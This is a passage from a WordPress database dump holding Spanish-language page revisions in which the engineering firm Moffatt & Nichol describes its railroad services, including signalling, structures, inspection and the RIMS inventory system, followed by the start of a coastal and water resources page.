son producto de colisiones de vehículos y trenes.\r\n\r\nLos estudios de señalización de Moffatt &amp; Nichol incluyen:\r\n<ul>\r\n	<li>Separación del tráfico</li>\r\n	<li>Zona reservada</li>\r\n	<li>Zona de seguridad del corredor</li>\r\n	<li>Señalización pasiva</li>\r\n	<li>Inventario</li>\r\n	<li>Modelación de vías férreas-carretera</li>\r\n	<li>Análisis de operaciones de ferrocarriles</li>\r\n</ul>\r\n \r\nLa firma participa regularmente en proyectos que requieren la determinación de la protección de pasos más adecuada. Los proyectos incluyen reactivaciones de corredores de trenes, proyectos de seguridad de corredores, proyectos de estaciones, realineaciones de vías férreas, programas de mejora del transporte del Departamento de Transporte de EE.UU. (DOT, por sus siglas en inglés), estudios de impacto de tráfico, análisis de operaciones de ferrocarriles y estudios de tránsito. Todos los cruces a nivel son diferentes y una sola aplicación no es apropiada para todos. Nuestro equipo tiene la experiencia y los conocimientos profesionales para determinar las mejores alternativas a fin de ofrecer la mayor protección para cualquier cruce a nivel.\r\n\r\nAdemás de realizar el diagnóstico de la señal y de localizar problemas de señales de paso defectuosas, el equipo de expertos en ferrocarriles puede realizar inspecciones anuales y mensuales de la señal FRA (Administración Federal de Ferrocarriles de Estados Unidos), así como pruebas del relé y cable FRA, lo que incluye la documentación necesaria a los niveles federal y estatal.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/structures.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"11\">estructuras</h1>\r\nLa experiencia en ingeniería estructural de Moffatt &amp; Nichol desempeña un papel importante en el desarrollo de corredores de trenes, así como en la mejora del flujo de mercancías mediante la consolidación de los cruces a nivel. La firma proporciona servicios como el principal diseñador de servicios auxiliares para proyectos de pasos a desnivel, así como estructuras de puentes para ferrocarriles y estructuras de retención para medidas de mitigación sísmica.\r\n\r\nHemos trabajado con organismos gubernamentales nacionales, estatales y locales, así como con compañías de ferrocarriles Clase 1 y organismos de trenes de pasajeros, para facilitar las realineaciones de calles locales, cierres, modificaciones de intersecciones, construcción de desvíos del tráfico, desvíos temporales de trenes (vías férreas temporales), reubicaciones de equipos de servicios públicos y mejoras importantes a drenajes pluviales. Nuestro enfoque es atenuar los efectos negativos sobre las operaciones ferroviarias, al mismo tiempo que se trabaja en el paso a desnivel.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/RIMS.jpg\" alt=\"\" width=\"250\" height=\"189\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"12\">RIMS (Sistema de Gestión de Inventario de Ferrocarriles)</h1>\r\nRIMS es un servicio en la nube que permite que los encargados del inventario del ferrocarril realicen su trabajo más rápida y fácilmente. La Ley de mejora de seguridad ferroviaria de 2008 ordenó que la base de datos del inventario nacional sea actualizada anualmente. El personal de RIMS es experto en la industria de seguridad de cruces de carreteras y trenes y diseñó RIMS desde cero para cumplir requisitos específicos del programa de seguridad de cruces.\r\n\r\nRIMS es más que una plataforma tecnológica, es el grupo de expertos que lo respalda. Asumimos la tarea de asegurarnos que sus datos sean introducidos a la base de datos nacional. Como es un servicio en la nube, puede acceder a RIMS desde cualquier lugar. Desde su escritorio, un hotel, su casa, su teléfono celular, en el campo o desde un iPad. Incluso hay un acceso limitado al funcionar sin conexión a Internet. Donde sea que vaya, RIMS puede ir con usted. Con RIMS, nunca tendrá que volver a imprimir la información del inventario. Ahorre tiempo y dinero reduciendo la cantidad de documentos.\r\n\r\n<strong>Características:</strong>\r\n<ul>\r\n	<li>Cumple con la ley RSIA del 2008</li>\r\n	<li>Nos permite enviar sus datos a FRA</li>\r\n	<li>Como se aloja en la nube, no requiere ningún mantenimiento del servidor</li>\r\n	<li>Permite ingresar datos en la mayoría de dispositivos con conexión a Internet</li>\r\n	<li>Imprime formularios del inventario con los cambios marcados</li>\r\n	<li>Descarga sus datos en cualquier momento en muchos formatos</li>\r\n	<li>Califica los cruces usando funciones de índice de riesgo</li>\r\n	<li>Usted controla quién tiene acceso a sus datos</li>\r\n	<li>Comparte el ingreso de datos entre entidades estatales y del ferrocarril</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios ferroviarios','','inherit','open','open','','651-revision-4','','','2012-06-19 11:22:54','2012-06-19 11:22:54','',651,'http://moffattnichol.com/spanish/651-revision-4/',0,'revision','',0),(2646,1,'2012-08-29 15:08:53','2012-08-29 15:08:53','<div class=\"content_faq\">\r\n<div class=\"banner-space\">[anything_slides cat=railroads width=588 height=315  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]</div>\r\n &nbsp; \r\n<h3>servicios ferroviarios</h3>\r\n<div class=\"global-services_one\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/commuter.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"1\">trenes suburbanos y tránsito</h1>\r\nLa aceptación de la comunidad es crítica para transformar el concepto de un tren de una idea a una realidad. Los profesionales de ferrocarriles de Moffatt &amp; Nichol integran su conocimiento de primera mano trabajando con todos los niveles gubernamentales y con el público para obtener la cooperación de todas las partes interesadas del área. La firma ha facilitado audiencias públicas y talleres públicos y ha proporcionado su experiencia profesional en reuniones de asociaciones público-privadas para estos organismos. Estos programas de participación son esenciales para educar al público y obtener apoyo para los proyectos de transporte.\r\n\r\nHemos proporcionado estos servicios para los estudios conceptuales, de planeamiento de transporte, de trenes de alta velocidad, de separación del tráfico y de la seguridad de corredores de transporte, así como estudios de análisis de tráfico y determinaciones de zonas reservadas. La firma utiliza software de modelación tal como VISSIM, TERM SIM y Synchro para evaluar completamente los potenciales impactos de las mejoras de la infraestructura de transporte. El uso de estos modelos permite el análisis realista de las alternativas para determinar el mejor equilibrio entre el costo y la funcionalidad de cualquier diseño relacionado con ferrocarriles, transporte, calzadas o desplazamiento de peatones.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/economics.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"2\">estudios económicos y de mercado</h1>\r\nMoffatt &amp; Nichol comprende cómo el negocio del transporte guía a nuestros clientes en el desarrollo de estrategias de puerto-punto de acceso y las inversiones en infraestructura que vinculan la carga internacional con los mercados regionales y locales. Con el conocimiento del negocio de ferrocarriles, transporte en camiones y logística intermedia de almacenes, además de la experiencia en el diseño, estimación de costos y construcción de conexiones de caminos y ferrocarriles, Moffatt &amp; Nichol proporciona una ventaja única a sus clientes que evalúan sus inversiones en conexiones de transporte.\r\n\r\nExperiencia profesional en estudios económicos y de mercado:\r\n<ul>\r\n	<li>Análisis macroeconómico y demanda de carga globales</li>\r\n	<li>Análisis de mercado específico del país y regional</li>\r\n	<li>Evaluaciones económicas de ventajas competitivas</li>\r\n	<li>Desviación de carga y estudios de elasticidad</li>\r\n	<li>Estudios de casos comerciales</li>\r\n	<li>Desarrollo de proforma financiera</li>\r\n	<li>Estudios de factibilidad financiera y de capacidad de emisión</li>\r\n	<li>Evaluaciones y desarrollos estratégicos</li>\r\n	<li>Debida diligencia de transacciones comerciales con grado de inversión</li>\r\n	<li>Planeamiento y cálculo de costo de servicios logísticos</li>\r\n	<li>Estudios de gestión y organización</li>\r\n	<li>Evaluación de alternativas de leasing</li>\r\n	<li>Análisis del impacto económico</li>\r\n	<li>Estimación de beneficio del sector privado</li>\r\n	<li>Estimación de beneficio del sector público</li>\r\n	<li>Evaluación de costo-beneficio</li>\r\n	<li>Análisis de la productividad y las operaciones de terminales </li>\r\n	<li>Operaciones de compañías navieras</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/engineering-ser.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"3\">servicios de ingeniería</h1>\r\nMoffatt &amp; Nichol guía a sus clientes a través del proceso de integrar oportunidades ferroviarias para beneficiar a sus estrategias de negocios. El experimentado equipo de profesionales de ferrocarriles de la firma ofrece una visión general integral, proporcionando una amplitud de visión desde el planeamiento y diseño hasta la terminación del proyecto. Única en el mercado, incorporamos nuestra experiencia profesional interna con nuestra amplia práctica en ferrocarriles en las áreas de factibilidad económica y evaluación de la logística, planeamiento de ferrocarriles, modelación de la capacidad, simulaciones logísticas y diseño de instalaciones de terminales intermodales, seguridad de corredores, mantenimiento, ingeniería estructural y mecánica, inspección y rehabilitación, señalización, y la administración de la construcción para líneas de pasajeros y de tránsito en todo el país. Como una firma integrada verticalmente, medimos las necesidades del cliente mediante análisis de operaciones e implementación de la construcción de las instalaciones. Esta estructura del negocio nos permite avanzar un proyecto a través de las regulaciones ambientales y la gestión de autorizaciones en estrecha coordinación con el proceso de aprobación del diseño y de la construcción.\r\n\r\nNuestra experiencia de diseño incluye líneas principales, vías secundarias y vías de patios de maniobras para ferrocarriles de Clase 1, así como para operadores de líneas cortas y regionales. Esta experiencia no solo comprende las vías, sino también instalaciones de mantenimiento y apoyo, accesos industriales, estaciones, así como instalaciones intermodales. Nuestra experiencia profesional en el planeamiento y diseño portuarios, junto con nuestra práctica en ferrocarriles, ha producido instalaciones intermodales de última tecnología en muelles y cerca de muelles para autoridades portuarias, operadores de terminales y ferrocarriles de Clase 1, incluyendo el diseño de las nuevas instalaciones de una grúa pórtico de gran capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/fright.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"4\">carga</h1>\r\nLos ferrocarriles dan máxima prioridad a la seguridad cuando se trata de transportar mercancías. Moffatt &amp; Nichol requiere que la seguridad sea una parte integral de cualquier proyecto, desde el diseño hasta la implementación. Nuestros profesionales de ferrocarriles reciben capacitación en seguridad del trabajador ferroviario y tienen todas las credenciales de E-Rail. En su calidad de empresa, Moffatt &amp; Nichol participa en varias asociaciones de ferrocarriles para mantenerse al corriente con los cambios en la industria de carga, para permanecer actualizado sobre los últimos avances tecnológicos y para proporcionar su experiencia profesional en las ideas más innovadoras. Esta capacitación y certificación da a nuestros ingenieros una conexión con la industria de ferrocarriles que les permite entender mejor las necesidades actuales y futuras de nuestros clientes.\r\n\r\nEntendemos que las compañías ferroviarias toman decisiones basadas en consideraciones de costos. Los diseños de ferrocarriles tienen un impacto económico y pueden necesitar una mayor evaluación de la proporción ciclo-de-vida/costo-beneficio. Moffatt &amp; Nichol aporta capacidades añadidas en la medición del costo total de la propiedad. Es imprescindible encontrar un equilibrio entre el costo de capital inicial y el costo del ciclo de vida del beneficio a largo plazo. Moffatt &amp; Nichol reconoce la necesidad de evitar o minimizar las interrupciones a los horarios de tráfico existentes en el desarrollo de cualquier mantenimiento o proyecto de extensión de la capacidad.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/highspeed.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"5\">trenes de alta velocidad</h1>\r\nLas relaciones que hemos establecido con organismos gubernamentales nacionales, estatales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, con abastecedores logísticos y con organismos nacionales y locales de trenes de pasajeros fortalecen nuestra capacidad de completar proyectos de trenes de alta velocidad para clientes en todo el país. Moffatt &amp; Nichol proporciona a este sector en crecimiento su experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para apoyar el servicio intermodal de alta velocidad o el servicio de pasajeros de alta velocidad.\r\n\r\nLa coordinación de esfuerzos entre nuestros diferentes servicios ferroviarios facilita el proceso de planeamiento y entrega los resultados esperados. Este enfoque funciona con proyectos para operaciones ferroviarias existentes a fin de identificar oportunidades para mejoras de velocidad, eficiencias de operación y la posible ampliación de los sistemas actuales.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol ofrece a sus clientes servicios integrales para todos los aspectos del diseño y desarrollo del proyecto.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/inspection.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"6\">inspección y rehabilitación</h1>\r\nMoffatt &amp; Nichol realiza inspecciones por debajo y por encima del nivel de agua, así como servicios de diseño para todos los aspectos de la infraestructura del ferrocarril. Una característica única en la industria es que proporcionamos una experiencia profesional especial con “ojo de ingeniería” para la inspección de puentes y otras estructuras utilizando ingenieros colegiados e ingenieros buzos, que entienden la importancia estructural de las condiciones indicadas. Estos expertos recopilan informes de los datos recogidos y proporcionan eficaces soluciones de ingeniería al estar en el terreno o en el agua desde el inicio. También proporcionamos servicios de diseño en instalaciones tales como estaciones y terminales, muros de contención y estructuras de estabilidad de taludes.\r\n\r\nLa firma tiene la capacidad de movilizar a varios equipos para inspeccionar la infraestructura del ferrocarril y proporcionar a los clientes informes de inspección detallada, y en caso de ser necesario, terminar la inspección dentro de un cronograma ajustado. Los resultados de la inspección detallada incluyen estimaciones de reparaciones y costos, recomendaciones de reemplazo y cualquier mejora necesaria de la infraestructura, incluyendo planos que indiquen la ubicación de las reparaciones y disposiciones recomendadas. Además, podemos proporcionar la modelación de la vida de servicio utilizando el software STADIUM® para prolongar la vida de servicio de estructuras marítimas existentes usando una metodología de modelación cuantitativa.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/passenger.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"7\">servicio de pasajeros interurbano</h1>\r\nEl funcionamiento puntual, así como la seguridad y comodidad del pasajero, son los sellos distintivos de un servicio interurbano de tren de pasajeros exitoso. Moffatt &amp; Nichol ofrece una gran experiencia profesional en el planeamiento y diseño de la infraestructura necesaria para proporcionar y mejorar el funcionamiento puntual y la satisfacción del pasajero. Nuestras comprobadas relaciones con organizaciones gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas, y con organismos nacionales y locales de trenes de pasajeros, aumentan nuestra capacidad de proporcionar a nuestros clientes un servicio interurbano de pasajeros exitoso o de mejorar el servicio existente.\r\n\r\nNuestro equipo entiende al servicio interurbano de tren de pasajeros como una optimización de equipo e infraestructura. Este enfoque identifica los costos del equipo y de la infraestructura asociados con el mejoramiento del funcionamiento puntual y la comodidad de los pasajeros. Trabajamos muy de cerca con nuestros clientes para optimizar el rendimiento operacional y la comodidad de los pasajeros dentro de límites presupuestarios para proporcionar mejoras rentables.\r\n\r\nDesde los estudios iniciales de factibilidad económica a través del proceso de aprobación medioambiental hasta el planeamiento, diseño y administración de la construcción de la infraestructura, Moffatt &amp; Nichol tiene profesionales con la suficiente experiencia para hacer que el servicio interurbano de tren de pasajeros sea un éxito.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/maitanance.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"8\">mantenimiento y mecánica</h1>\r\nEl mantenimiento preventivo total para instalaciones ferroviarias sin interrumpir las operaciones cotidianas es crítico para mantener los horarios de transporte. El equipo de ferrocarriles de la firma ha ayudado a operadores de ferrocarriles, organismos públicos, operadores portuarios y expedidores, en el análisis, planeamiento y programas de mantenimiento de sus instalaciones. Para proporcionar soluciones eficaces a la contratación de servicios ferroviarios, hemos formado alianzas estratégicas con abastecedores y proveedores de servicios sin igual en la industria.\r\n\r\nAdemás de ofrecer programas de mantenimiento de vías a los clientes, nuestra experiencia profesional incluye:\r\n<ul>\r\n	<li>Diagnóstico de señales y localización de averías</li>\r\n	<li>Diseño hidráulico</li>\r\n	<li>Problemas de mitigación medioambiental</li>\r\n	<li>Diseño de artículos especiales para trabajo en vías férreas</li>\r\n	<li>Diseño de sujetadores de durmientes y placas de asiento especiales</li>\r\n	<li>Estudios de cruces a nivel</li>\r\n</ul>\r\n \r\nLas capacidades relacionadas con líneas férreas de Moffatt &amp; Nichol integran servicios mecánicos con la infraestructura y las prácticas de planeamiento de la firma. Proporcionamos informes de ingeniería y desarrollamos recomendaciones para métodos a fin de aplicar acciones correctivas, mantenimiento inmediato y programado, así como instrucciones de prueba. La firma también desarrolla planos mecánicos detallados y supervisa proyectos de reconstrucción y rehabilitación de equipos, además de realizar inspecciones mecánicas y pruebas.\r\n\r\nNuestros profesionales de ferrocarriles dan servicio a los clientes como una extensión de su actual programa de mantenimiento. Mediante alianzas estratégicas con compañías de prueba y mantenimiento de equipos, Moffatt &amp; Nichol proporciona soluciones sin igual para los programas de reconstrucción de locomotoras y vagones, incluyendo investigación en nuevas tecnologías para incorporarlas en equipo rodante ferroviario. La firma también mantiene sistemas de gestión de documentos, incluyendo la organización de registros de mantenimiento y el desarrollo de especificaciones de piezas.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\"><img title=\"alamedacorridor_250X189\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"9\">gestión de programa</h1>\r\nEl equipo de Moffatt &amp; Nichol toma la visión de nuestros clientes y los guía para desarrollar, implementar y supervisar un programa exitoso en funcionamiento. Únicos en la industria, ofrecemos experiencia profesional interna en las áreas de estudios económicos y de mercado, gestión de autorizaciones ambientales, servicios de ingeniería, estructuras, inspección y rehabilitación, señalización y servicios mecánicos.\r\n\r\nLas relaciones que la firma tiene con organismos gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas y con organismos nacionales y locales de trenes de pasajeros ayudan a nuestros clientes en la coordinación de la aprobación de sus programas. También tenemos relaciones bien establecidas con consultores especialistas que aportan valor agregado y aseguran que el proyecto se realice exitosamente.\r\n\r\nLos clientes de Moffatt &amp; Nichol tienen un solo punto de contacto, lo que elimina las diferentes rutas de comunicación y proporciona acceso a expertos reconocidos en sus respectivos campos. Proporcionamos soluciones innovadoras e integradas para posicionar a nuestros clientes en el exitoso futuro del ferrocarril.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/signalisation.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"10\">señalización</h1>\r\nLa seguridad nunca es más importante que en el lugar en que el público y el ferrocarril se cruzan: el cruce a nivel. Moffatt &amp; Nichol ha proporcionado parámetros de señales para todos los niveles de servicio ferroviario, así como novedosos métodos de ingeniería para señalización de cruces a nivel que han disminuido los incidentes que son producto de colisiones de vehículos y trenes.\r\n\r\nLos estudios de señalización de Moffatt &amp; Nichol incluyen:\r\n<ul>\r\n	<li>Separación del tráfico</li>\r\n	<li>Zona reservada</li>\r\n	<li>Zona de seguridad del corredor</li>\r\n	<li>Señalización pasiva</li>\r\n	<li>Inventario</li>\r\n	<li>Modelación de vías férreas-carretera</li>\r\n	<li>Análisis de operaciones de ferrocarriles</li>\r\n</ul>\r\n \r\nLa firma participa regularmente en proyectos que requieren la determinación de la protección de pasos más adecuada. Los proyectos incluyen reactivaciones de corredores de trenes, proyectos de seguridad de corredores, proyectos de estaciones, realineaciones de vías férreas, programas de mejora del transporte del Departamento de Transporte de EE.UU. (DOT, por sus siglas en inglés), estudios de impacto de tráfico, análisis de operaciones de ferrocarriles y estudios de tránsito. Todos los cruces a nivel son diferentes y una sola aplicación no es apropiada para todos. Nuestro equipo tiene la experiencia y los conocimientos profesionales para determinar las mejores alternativas a fin de ofrecer la mayor protección para cualquier cruce a nivel.\r\n\r\nAdemás de realizar el diagnóstico de la señal y de localizar problemas de señales de paso defectuosas, el equipo de expertos en ferrocarriles puede realizar inspecciones anuales y mensuales de la señal FRA (Administración Federal de Ferrocarriles de Estados Unidos), así como pruebas del relé y cable FRA, lo que incluye la documentación necesaria a los niveles federal y estatal.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/structures.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"11\">estructuras</h1>\r\nLa experiencia en ingeniería estructural de Moffatt &amp; Nichol desempeña un papel importante en el desarrollo de corredores de trenes, así como en la mejora del flujo de mercancías mediante la consolidación de los cruces a nivel. La firma proporciona servicios como el principal diseñador de servicios auxiliares para proyectos de pasos a desnivel, así como estructuras de puentes para ferrocarriles y estructuras de retención para medidas de mitigación sísmica.\r\n\r\nHemos trabajado con organismos gubernamentales nacionales, estatales y locales, así como con compañías de ferrocarriles Clase 1 y organismos de trenes de pasajeros, para facilitar las realineaciones de calles locales, cierres, modificaciones de intersecciones, construcción de desvíos del tráfico, desvíos temporales de trenes (vías férreas temporales), reubicaciones de equipos de servicios públicos y mejoras importantes a drenajes pluviales. Nuestro enfoque es atenuar los efectos negativos sobre las operaciones ferroviarias, al mismo tiempo que se trabaja en el paso a desnivel.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/RIMS.jpg\" alt=\"\" width=\"250\" height=\"189\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"12\">RIMS (Sistema de Gestión de Inventario de Ferrocarriles)</h1>\r\nRIMS es un servicio en la nube que permite que los encargados del inventario del ferrocarril realicen su trabajo más rápida y fácilmente. La Ley de mejora de seguridad ferroviaria de 2008 ordenó que la base de datos del inventario nacional sea actualizada anualmente. El personal de RIMS es experto en la industria de seguridad de cruces de carreteras y trenes y diseñó RIMS desde cero para cumplir requisitos específicos del programa de seguridad de cruces.\r\n\r\nRIMS es más que una plataforma tecnológica, es el grupo de expertos que lo respalda. Asumimos la tarea de asegurarnos que sus datos sean introducidos a la base de datos nacional. Como es un servicio en la nube, puede acceder a RIMS desde cualquier lugar. Desde su escritorio, un hotel, su casa, su teléfono celular, en el campo o desde un iPad. Incluso hay un acceso limitado al funcionar sin conexión a Internet. Donde sea que vaya, RIMS puede ir con usted. Con RIMS, nunca tendrá que volver a imprimir la información del inventario. Ahorre tiempo y dinero reduciendo la cantidad de documentos.\r\n\r\n<strong>Características:</strong>\r\n<ul>\r\n	<li>Cumple con la ley RSIA del 2008</li>\r\n	<li>Nos permite enviar sus datos a FRA</li>\r\n	<li>Como se aloja en la nube, no requiere ningún mantenimiento del servidor</li>\r\n	<li>Permite ingresar datos en la mayoría de dispositivos con conexión a Internet</li>\r\n	<li>Imprime formularios del inventario con los cambios marcados</li>\r\n	<li>Descarga sus datos en cualquier momento en muchos formatos</li>\r\n	<li>Califica los cruces usando funciones de índice de riesgo</li>\r\n	<li>Usted controla quién tiene acceso a sus datos</li>\r\n	<li>Comparte el ingreso de datos entre entidades estatales y del ferrocarril</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios ferroviarios','','inherit','open','open','','651-revision-5','','','2012-08-29 15:08:53','2012-08-29 15:08:53','',651,'http://moffattnichol.com/spanish/651-revision-5/',0,'revision','',0),(2649,1,'2012-06-15 05:18:22','2012-06-15 05:18:22','<div class=\"content_faq\">\r\n       [anything_slides cat=coastal-environmental-and-water-resources width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n       <div class=\"ports-left\">\r\n            <h3>recursos costeros, medioambientales e hídricos</h3> Moffatt & Nichol fue una de las primeras firmas de ingeniería en el mundo en adoptar el concepto de ingeniería costera moderna: modelación, comprensión y diseño para los procesos que dan forma a nuestras líneas costeras, puertos y ríos. Hoy en día, puede decirse que la firma cuenta con uno los mayores equipos de ingenieros costeros en Norteamérica. Nuestros ingenieros de recursos costeros, medioambientales e hídricos se enfocan en el complicado ambiente donde la tierra entra en contacto con el agua y proporcionan soluciones para protección de riberas, gestión regional de la arena, restauración del ecosistema, gestión de material dragado y su reutilización beneficiosa, navegación de buques, operaciones de amarre y atraque, recursos hídricos y gestión de aguas	pluviales. \r\n\r\nEn la era actual de aumento de la densidad poblacional en las zonas costeras y de las preocupaciones sobre el cambio climático, los especialistas en recursos costeros, medioambientales e hídricos de Moffatt & Nichol son pioneros en el desarrollo de soluciones prácticas para estos desafíos. \r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/coastal-environmental-and-water-resources-services/\">Examinar los servicios costeros, medioambientales y de recursos hídricos >></a></div>\r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÓN DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÍDRICOS </strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÓN MEDIOAMBIENTAL</strong><br />\r\n                La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de años de experiencia con estimulantes proyectos en todo el mundo. Si bien las firmas medioambientales tradicionales</div>\r\n              <span class=\"moreheadlines-newone fr\"><a 